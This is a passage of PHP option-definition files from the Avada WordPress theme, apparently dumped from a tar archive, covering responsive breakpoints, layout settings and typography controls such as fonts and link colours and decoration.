'radio-buttonset', 'choices' => [ '1' => esc_html__( 'On', 'Avada' ), '0' => esc_html__( 'Off', 'Avada' ), ], ], 'grid_main_break_point' => [ 'label' => esc_html__( 'Grid Responsive Breakpoint', 'Avada' ), 'description' => esc_html__( 'Controls when grid layouts (blog/portfolio) start to break into smaller columns. Further breakpoints are auto calculated.', 'Avada' ), 'id' => 'grid_main_break_point', 'default' => '1000', 'type' => 'slider', 'choices' => [ 'min' => '360', 'max' => '2000', 'step' => '1', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--grid_main_break_point', ], ], 'output' => [ // runs fusionRecalcAllMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcAllMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'side_header_break_point' => [ 'label' => esc_html__( 'Header Responsive Breakpoint', 'Avada' ), 'description' => esc_html__( 'Controls when the desktop header changes to the mobile header.', 'Avada' ), 'id' => 'side_header_break_point', 'default' => '800', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '2000', 'step' => '1', 'edit' => 'yes', ], 'css_vars' => [ [ 'name' => '--side_header_break_point', ], ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // runs fusionRecalcAllMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcAllMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'content_break_point' => [ 'label' => esc_html__( 'Site Content Responsive Breakpoint', 'Avada' ), 'description' => esc_html__( 'Controls when the site content area changes to the mobile layout. This includes all content below the header including the footer.', 'Avada' ), 'id' => 'content_break_point', 'default' => '800', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '2000', 'step' => '1', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--content_break_point', ], ], 'output' => [ // runs fusionRecalcAllMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcAllMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'sidebar_break_point' => [ 'label' => esc_html__( 'Sidebar Responsive Breakpoint', 'Avada' ), 'description' => esc_html__( 'Controls when sidebars change to the mobile layout.', 'Avada' ), 'id' => 'sidebar_break_point', 'default' => '800', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '2000', 'step' => '1', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // runs fusionRecalcAllMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcAllMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'mobile_zoom' => [ 'label' => esc_html__( 'Mobile Device Zoom', 'Avada' ), 'description' => esc_html__( 'Turn on to enable pinch to zoom on mobile devices.', 'Avada' ), 'id' => 'mobile_zoom', 'default' => '1', 'type' => 'switch', 'choices' => [ 'on' => esc_html__( 'On', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'element_responsive_breakpoints_info_title' => [ 'label' => esc_html__( 'Element Responsive Breakpoints', 'Avada' ), 'description' => '', 'id' => 'element_responsive_breakpoints_info_title', 'icon' => true, 'type' => 'info', ], 'visibility_small' => [ 'label' => esc_html__( 'Small Screen', 'fusion-builder' ), 'description' => esc_html__( 'Controls when the small screen options and visibility should take effect.', 'fusion-builder' ), 'id' => 'visibility_small', 'default' => '640', 'type' => 'slider', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '2000', ], 'option_name' => $option_name, 'output' => [ // Runs fusionRecalcVisibilityMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcVisibilityMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'visibility_medium' => [ 'label' => esc_html__( 'Medium Screen', 'fusion-builder' ), 'description' => esc_html__( 'Controls when the medium screen options and visibility should take effect.', 'fusion-builder' ), 'id' => 'visibility_medium', 'default' => '1024', 'type' => 'slider', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '2000', ], 'option_name' => $option_name, 'output' => [ // Runs fusionRecalcVisibilityMediaQueries(). [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusionRecalcVisibilityMediaQueries' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'visibility_large' => [ 'label' => esc_html__( 'Large Screen', 'fusion-builder' ), 'description' => esc_html__( 'Any screen larger than that which is defined as the medium screen will be counted as a large screen.', 'fusion-builder' ), 'id' => 'visibility_large', 'full_width' => false, 'type' => 'raw', 'content' => '
' . ( ( isset( $settings['visibility_medium'] ) && ! empty( $settings['visibility_medium'] ) ) ? '> ' . $settings['visibility_medium'] . '' : '> 1200' ) . '
', 'option_name' => $option_name, ], 'responsive_typography_info_title' => [ 'label' => esc_html__( 'Responsive Typography', 'Avada' ), 'description' => '', 'id' => 'responsive_typography_info_title', 'icon' => true, 'type' => 'info', ], 'typography_sensitivity' => [ 'label' => esc_html__( 'Responsive Typography Sensitivity', 'Avada' ), 'description' => esc_html__( 'Set to 0 to disable responsive typography. Increase the value for a greater effect.', 'Avada' ), 'id' => 'typography_sensitivity', 'default' => '0', 'type' => 'slider', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'choices' => [ 'min' => '0', 'max' => '1', 'step' => '.01', ], 'output' => [ // This is for the fusionTypographyVars.typography_sensitivity var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionTypographyVars', 'id' => 'typography_sensitivity', 'trigger' => [ 'fusionInitTypography' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'css_vars' => [ [ 'name' => '--typography_sensitivity', ], ], ], 'typography_factor' => [ 'label' => esc_html__( 'Minimum Font Size Factor', 'Avada' ), 'description' => esc_html__( 'The minimum font-size of elements affected by responsive typography is body font-size multiplied by this factor.', 'Avada' ), 'id' => 'typography_factor', 'default' => '1.5', 'type' => 'slider', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'choices' => [ 'min' => '0', 'max' => '4', 'step' => '.01', ], 'output' => [ // This is for the fusionTypographyVars.typography_factor var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionTypographyVars', 'id' => 'typography_factor', 'trigger' => [ 'fusionInitTypography' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'css_vars' => [ [ 'name' => '--typography_factor', ], ], ], ], ]; return $sections; } Avada/includes/options/layout.php000064400000032426152342437700013125 0ustar00 esc_html__( 'Layout', 'Avada' ), 'id' => 'heading_layout', 'priority' => 1, 'icon' => 'el-icon-website', 'alt_icon' => 'fusiona-browser', 'fields' => [ 'layout' => [ 'label' => esc_html__( 'Layout', 'Avada' ), 'description' => esc_html__( 'Controls the site layout.', 'Avada' ), 'id' => 'layout', 'default' => 'wide', 'type' => 'radio-buttonset', 'choices' => [ 'boxed' => esc_html__( 'Boxed', 'Avada' ), 'wide' => esc_html__( 'Wide', 'Avada' ), ], 'output' => [ // Toggle classes. [ 'element' => 'html', 'function' => 'attr', 'attr' => 'class', 'toLowerCase' => true, 'value_pattern' => 'avada-html-layout-$', 'remove_attrs' => [ 'avada-html-layout-boxed', 'avada-html-layout-wide' ], ], // Toggle classes. [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'toLowerCase' => true, 'value_pattern' => 'layout-$-mode', 'remove_attrs' => [ 'layout-boxed-mode', 'layout-wide-mode' ], ], // avadaMenuVars.site_layout. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMenuVars', 'id' => 'site_layout', 'trigger' => [ 'fusionPositionSubmenus' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // avadaHeaderVars.layout_mode. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'layout_mode', 'trigger' => [ 'fusionSliderReTrigger', 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'site_width' => [ 'label' => esc_html__( 'Site Width', 'Avada' ), 'description' => esc_html__( 'Controls the overall site width.', 'Avada' ), 'id' => 'site_width', 'default' => '1200px', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'desc' => ( $display_site_width_warning ) ? esc_html__( 'The value was changed in Avada 5.1 to include both the site-width & side-header width, ex: calc(90% + 300px). Leave this as is, or update it with a single percentage, ex: 95%', 'Avada' ) : '', 'css_vars' => [ [ 'name' => '--site_width', ], [ 'name' => '--site_width-int', 'callback' => [ 'convert_font_size_to_px', '' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '%', 'contains' ], 'element' => 'html', 'className' => 'avada-has-site-width-percent', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '100%', '===' ], 'element' => 'html', 'className' => 'avada-has-site-width-100-percent', ], ], 'sanitize_callback' => '__return_empty_string', ], // fusionTypographyVars.site_width. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionTypographyVars', 'id' => 'site_width', 'trigger' => [ 'fusionInitTypography' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // Trigger events. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'site_width_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'site_width_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'site_width_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'margin_offset' => [ 'label' => esc_html__( 'Boxed Mode Top/Bottom Offset', 'Avada' ), 'description' => esc_html__( 'Controls the top/bottom offset of the boxed background.', 'Avada' ), 'id' => 'margin_offset', 'choices' => [ 'top' => true, 'bottom' => true, ], 'default' => [ 'top' => '0px', 'bottom' => '0px', ], 'type' => 'spacing', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--margin_offset-top', 'choice' => 'top', ], [ 'name' => '--margin_offset-bottom', 'choice' => 'bottom', ], [ 'name' => '--margin_offset-top-no-percent', 'choice' => 'top', 'callback' => [ 'string_replace', [ '%', 'vh' ] ], ], [ 'name' => '--margin_offset-bottom-no-percent', 'choice' => 'bottom', 'callback' => [ 'string_replace', [ '%', 'vh' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'choice' => 'top', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'is-zero-or-empty' ], 'element' => 'body', 'className' => 'avada-has-zero-margin-offset-top', ], ], 'sanitize_callback' => '__return_empty_string', ], // Trigger events. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'scroll_offset' => [ 'label' => esc_html__( 'Boxed Mode Offset Scroll Mode', 'Avada' ), 'description' => esc_html__( 'Choose how the page will scroll. Framed scrolling will keep the offset in place, while Full scrolling removes the offset when scrolling the page.', 'Avada' ), 'id' => 'scroll_offset', 'type' => 'radio-buttonset', 'choices' => [ 'framed' => esc_html__( 'Framed Scrolling', 'Avada' ), 'full' => esc_html__( 'Full Scrolling', 'Avada' ), ], 'default' => 'full', 'required' => [ [ 'setting' => 'layout', 'operator' => '==', 'value' => 'boxed', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '===', 'framed' ], 'element' => 'html', 'className' => 'avada-html-layout-framed', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'toLowerCase' => true, 'value_pattern' => 'layout-scroll-offset-$', 'remove_attrs' => [ 'layout-scroll-offset-framed', 'layout-scroll-offset-full' ], ], // Change avadaHeaderVars.scroll_offset. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'scroll_offset', 'trigger' => [ 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'boxed_modal_shadow' => [ 'label' => esc_html__( 'Boxed Mode Shadow Type', 'Avada' ), 'description' => esc_html__( 'Controls the type of shadow your boxed mode displays.', 'Avada' ), 'id' => 'boxed_modal_shadow', 'default' => 'none', 'type' => 'select', 'choices' => [ 'none' => esc_html__( 'No Shadow', 'Avada' ), 'light' => esc_html__( 'Light Shadow', 'Avada' ), 'medium' => esc_html__( 'Medium Shadow', 'Avada' ), 'hard' => esc_html__( 'Hard Shadow', 'Avada' ), ], 'required' => [ [ 'setting' => 'layout', 'operator' => '==', 'value' => 'boxed', ], ], 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-has-boxed-modal-shadow-$', 'remove_attrs' => [ 'avada-has-boxed-modal-shadow-none', 'avada-has-boxed-modal-shadow-light', 'avada-has-boxed-modal-shadow-medium', 'avada-has-boxed-modal-shadow-hard' ], ], // Trigger events. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'main_padding' => [ 'label' => esc_html__( 'Page Content Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/bottom padding for page content.', 'Avada' ), 'id' => 'main_padding', 'choices' => [ 'top' => true, 'bottom' => true, ], 'default' => [ 'top' => '60px', 'bottom' => '60px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--main_padding-top', 'choice' => 'top', ], [ 'name' => '--main_padding-top-or-55px', 'choice' => 'top', 'callback' => [ 'fallback_to_value_if_empty', '55px' ], ], [ 'name' => '--main_padding-bottom', 'choice' => 'bottom', ], ], ], 'page_template' => [ 'label' => esc_html__( 'Default Page Template', 'Avada' ), 'description' => esc_html__( 'Choose the default page template.', 'Avada' ), 'id' => 'page_template', 'default' => '100_width', 'type' => 'radio-buttonset', 'choices' => [ '100_width' => esc_html__( '100% Width', 'Avada' ), 'site_width' => esc_html__( 'Site Width', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'hundredp_padding' => [ 'label' => esc_html__( '100% Width Padding', 'Avada' ), 'description' => esc_html__( 'Controls the left and right padding for page content when using 100% site width, 100% width page template or 100% width post option. This does not affect Avada Builder containers.', 'Avada' ), 'id' => 'hundredp_padding', 'default' => '30px', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--hundredp_padding', ], [ 'name' => '--hundredp_padding-fallback_to_zero', 'callback' => 'fallback_to_zero', ], [ 'name' => '--hundredp_padding-fallback_to_zero_px', 'callback' => [ 'fallback_to_value_if_empty', '0px' ], ], [ 'name' => '--hundredp_padding-hundred_percent_negative_margin', 'callback' => [ 'hundred_percent_negative_margin', '' ], ], ], ], ], ]; return $sections; } Avada/includes/options/typography.php000064400000143135152342437700014016 0ustar00 [], 'size' => [], 'color' => [], 'line-height' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-body-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $body_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-body-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $body_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-body-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $body_typography_elements['color'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-body-typography-elements-line-height', Fusion_Dynamic_CSS_Helpers::get_elements_string( $body_typography_elements['line-height'] ) ); // An array of all the elements that will be targeter from the h1_typography settings. $h1_typography_elements = wp_parse_args( apply_filters( 'avada_h1_typography_elements', avada_get_h1_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h1-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h1_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h1-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h1_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h1-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h1_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the h2_typography settings. $h2_typography_elements = wp_parse_args( apply_filters( 'avada_h2_typography_elements', avada_get_h2_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h2-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h2_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h2-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h2_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h2-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h2_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the h3_typography settings. $h3_typography_elements = wp_parse_args( apply_filters( 'avada_h3_typography_elements', avada_get_h3_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h3-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h3_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h3-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h3_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h3-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h3_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the h4_typography settings. $h4_typography_elements = wp_parse_args( apply_filters( 'avada_h4_typography_elements', avada_get_h4_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], 'line-height' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h4-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h4_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h4-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h4_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h4-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h4_typography_elements['color'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h4-typography-elements-line-height', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h4_typography_elements['line-height'] ) ); // An array of all the elements that will be targeter from the h5_typography settings. $h5_typography_elements = wp_parse_args( apply_filters( 'avada_h5_typography_elements', avada_get_h5_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h5-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h5_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h5-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h5_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h5-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h5_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the h6_typography settings. $h6_typography_elements = wp_parse_args( apply_filters( 'avada_h6_typography_elements', avada_get_h6_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h6-typography-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h6_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h6-typography-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h6_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-h6-typography-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $h6_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the post title typography settings. $post_title_typography_elements = wp_parse_args( apply_filters( 'avada_post_title_typography_elements', avada_get_post_title_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_typography_elements['color'] ) ); // An array of all the elements that will be targeter from the post title typography settings. $post_title_extras_typography_elements = wp_parse_args( apply_filters( 'avada_post_title_extras_typography_elements', avada_get_post_title_extras_typography_elements() ), [ 'family' => [], 'size' => [], 'color' => [], ] ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-extras-elements-font-family', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_extras_typography_elements['family'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-extras-elements-font-size', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_extras_typography_elements['size'] ) ); Fusion_Dynamic_CSS::add_replace_pattern( '.avada-post-title-extras-elements-color', Fusion_Dynamic_CSS_Helpers::get_elements_string( $post_title_extras_typography_elements['color'] ) ); $adobe_additional_info = __( 'NOTE: You can create a custom global font for each Adobe font, so when you want to change that font, you don\'t need to search for each element that used that font. Also note that when you change the project fonts, you need to refresh the Adobe Fonts cache.', 'Avada' ); $adobe_live_additional_info = ''; if ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ) { $adobe_live_additional_info = ' ' . __( 'To refresh the cache you need to go to global options in the admin back-end.', 'Avada' ); } $adobe_multilingual_info = '

' . esc_html__( 'If you use a multilingual plugin, the value of the Adobe Fonts Id used for fonts is the one from "All Languages" options page.', 'Avada' ); $adobe_info = '
' . AWB_Adobe_Typography::get_adobe_included_fonts_display_html() . '
' . $adobe_additional_info . $adobe_live_additional_info . $adobe_multilingual_info . '
'; $sections['typography'] = [ 'label' => esc_html__( 'Typography', 'Avada' ), 'id' => 'heading_typography', 'is_panel' => true, 'priority' => 12, 'icon' => 'el-icon-fontsize', 'alt_icon' => 'fusiona-font-solid', 'fields' => [ 'global_typography' => [ 'label' => esc_html__( 'Global Typography', 'Avada' ), 'id' => 'global_typography', 'type' => 'sub-section', 'fields' => [ 'typography_sets' => [ 'label' => esc_html__( 'Typography Sets', 'Avada' ), 'description' => __( 'Set your global typography sets. The sets defined here can be used from other global options, and element options. Each of the options within these sets can be individually overridden in options using the sets. IMPORTANT NOTE: If a global set that is used by other options gets deleted, these corresponding options will display the default font. Typography sets are internally stored with a fixed counter. Thus, adding a new set after deleting an old one, will set the same internal name to the new set.', 'Avada' ), 'id' => 'typography_sets', 'default' => AWB_Global_Typography()->get_defaults(), 'type' => 'typography-sets', 'transport' => 'postMessage', ], ], ], 'body_typography' => [ 'label' => esc_html__( 'Body Typography', 'Avada' ), 'id' => 'body_typography', 'type' => 'sub-section', 'fields' => [ 'body_typography_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: This tab contains general typography options. Additional typography options for specific areas can be found within other tabs. Example: For menu typography options go to the menu tab.', 'Avada' ) . '
', 'id' => 'body_typography_important_note_info', 'type' => 'custom', ], 'body_typography' => [ 'id' => 'body_typography', 'label' => esc_html__( 'Body Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all body text.', 'Avada' ), 'type' => 'typography', 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography4-font-family)', 'font-size' => 'var(--awb-typography4-font-size)', 'font-weight' => '400', 'line-height' => 'var(--awb-typography4-line-height)', 'letter-spacing' => 'var(--awb-typography4-letter-spacing)', 'color' => 'var(--awb-color8)', ], 'css_vars' => [ [ 'name' => '--body_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'body_typography' ], ], [ 'name' => '--body_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--base-font-size', 'choice' => 'font-size', 'callback' => [ 'convert_font_size_to_px', '' ], ], [ 'name' => '--body_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--body_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--body_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--body_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--body_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], ], ], 'link_color' => [ 'label' => esc_html__( 'Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of all text links.', 'Avada' ), 'id' => 'link_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--link_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--link_color-8a', 'callback' => [ 'color_alpha_set', '0.8' ], ], ], ], 'link_hover_color' => [ 'label' => esc_html__( 'Link Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the link hover color throughout the website.', 'Avada' ), 'id' => 'link_hover_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--link_hover_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--link_hover_color-85a', 'callback' => [ 'color_alpha_set', '0.85' ], ], [ 'name' => '--link_hover_color-7a', 'callback' => [ 'color_alpha_set', '0.7' ], ], [ 'name' => '--link_hover_color-5a', 'callback' => [ 'color_alpha_set', '0.5' ], ], [ 'name' => '--link_hover_color-35a', 'callback' => [ 'color_alpha_set', '0.35' ], ], [ 'name' => '--link_hover_color-2a', 'callback' => [ 'color_alpha_set', '0.2' ], ], ], ], 'link_decoration' => [ 'label' => esc_html__( 'Enable Link Text Decoration', 'Avada' ), 'description' => esc_html__( 'Turn on to enable text decoration on general links.', 'Avada' ), 'id' => 'link_decoration', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'link_decoration_exclusion' => [ 'label' => esc_html__( 'Exclude Elements From Link Decoration', 'Avada' ), 'description' => esc_html__( 'Choose which elements should be excluded from the link decoration.', 'Avada' ), 'id' => 'link_decoration_exclusion', 'default' => [ 'buttons', 'menus', 'tocs', 'tabstoggles', 'off_canvas' ], 'type' => 'select', 'multi' => true, 'choices' => [ 'breadcrumbs' => esc_html__( 'Breadcrumbs', 'Avada' ), 'buttons' => esc_html__( 'Buttons', 'Avada' ), 'headings' => esc_html__( 'Headings', 'Avada' ), 'menus' => esc_html__( 'Menus', 'Avada' ), 'tocs' => esc_html__( 'TOC Elements', 'Avada' ), 'tabstoggles' => esc_html__( 'Tabs & Toggles', 'Avada' ), 'off_canvas' => esc_html__( 'Off Canvas', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], ], ], 'link_decoration_line' => [ 'label' => esc_html__( 'Link Text Decoration Line', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text decoration line of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_line', 'default' => 'none', 'type' => 'select', 'transport' => 'postMessage', 'choices' => 